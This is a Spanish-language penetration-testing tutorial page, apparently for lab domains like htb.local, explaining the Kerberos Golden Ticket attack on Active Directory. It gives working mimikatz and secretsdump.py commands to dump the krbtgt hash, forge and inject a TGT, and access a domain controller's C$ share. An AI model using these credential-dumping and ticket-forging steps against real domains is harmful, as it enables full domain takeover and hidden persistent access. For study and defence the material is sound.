> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/active-directory/golden-ticket-attack.md).

# Golden Ticket Attack

## Introducción

El **Golden Ticket Attack** es una técnica de post-explotación que permite a un atacante generar manualmente un Ticket Granting Ticket (TGT) de Kerberos válido para cualquier cuenta dentro de un dominio Active Directory. Este ataque otorga control completo del dominio, incluso sin interacción directa con el controlador de dominio, y permite una persistencia a largo plazo extremadamente difícil de detectar.

Este ataque es posible porque Kerberos, el protocolo de autenticación utilizado por Active Directory, confía en los TGTs firmados con una clave secreta compartida: la **clave del servicio krbtgt**.

***

## ¿Qué es un TGT?

Un Ticket Granting Ticket es emitido por el **Key Distribution Center (KDC)** cuando un usuario se autentica en el dominio. El TGT permite al usuario solicitar otros tickets de servicio (TGS) sin volver a introducir sus credenciales.

***

## ¿Qué es el usuario krbtgt?

Es una cuenta especial en el dominio utilizada para **firmar y validar los TGTs**. La contraseña (hash) de esta cuenta se utiliza como clave secreta para emitir los tickets Kerberos. Si un atacante compromete esta cuenta, puede firmar sus propios TGTs válidos, es decir, puede emitir "tickets dorados".

***

## Requisitos del ataque

Para generar un Golden Ticket, se necesita:

1. El nombre del dominio (ej: `htb.local`)
2. El SID del dominio
3. El hash NTLM (idealmente también el AES256) de la cuenta `krbtgt`
4. Un nombre de usuario válido (puede ser uno real o inventado)
5. Un ID de usuario (`/id`), típicamente 500 si se quiere acceso como `Administrator`

Esta información suele obtenerse tras comprometer el controlador de dominio o volcando los secretos con herramientas como `mimikatz` o `secretsdump.py`.

***

## Obtención del hash del usuario krbtgt

Una vez con privilegios de SYSTEM en un Domain Controller, se puede obtener el hash con:

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /inject"'
```

O desde Kali:

```bash
secretsdump.py htb.local/administrator:'password'@dc.htb
```

Ejemplo de salida:

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
```

El hash NTLM es el cuarto campo.

***

## Generación del Golden Ticket

Con `mimikatz`, se puede generar un TGT válido:

```powershell
kerberos::golden /user:Administrator /domain:htb.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:8846f7eaee8fb117ad06bdd830b7586c /id:500 /ptt
```

Parámetros:

* `/user`: Usuario para el que se generará el ticket (puede ser ficticio).
* `/domain`: Nombre del dominio.
* `/sid`: SID del dominio.
* `/krbtgt`: Hash NTLM de la cuenta `krbtgt`.
* `/id`: RID del usuario (500 = Administrator).
* `/ptt`: "Pass The Ticket", carga automáticamente el ticket generado en la sesión actual.

***

## Uso del ticket dorado

Una vez cargado, el sistema autenticará al atacante como si fuese el usuario especificado (por ejemplo, Domain Admin), incluso si ese usuario no existe en el dominio.

Con el Golden Ticket cargado, se pueden ejecutar comandos como:

```cmd
dir \\dc.htb\c$
```

O acceder a recursos SMB, montar shares, extraer más datos, crear cuentas, modificar políticas de GPO, etc.

***
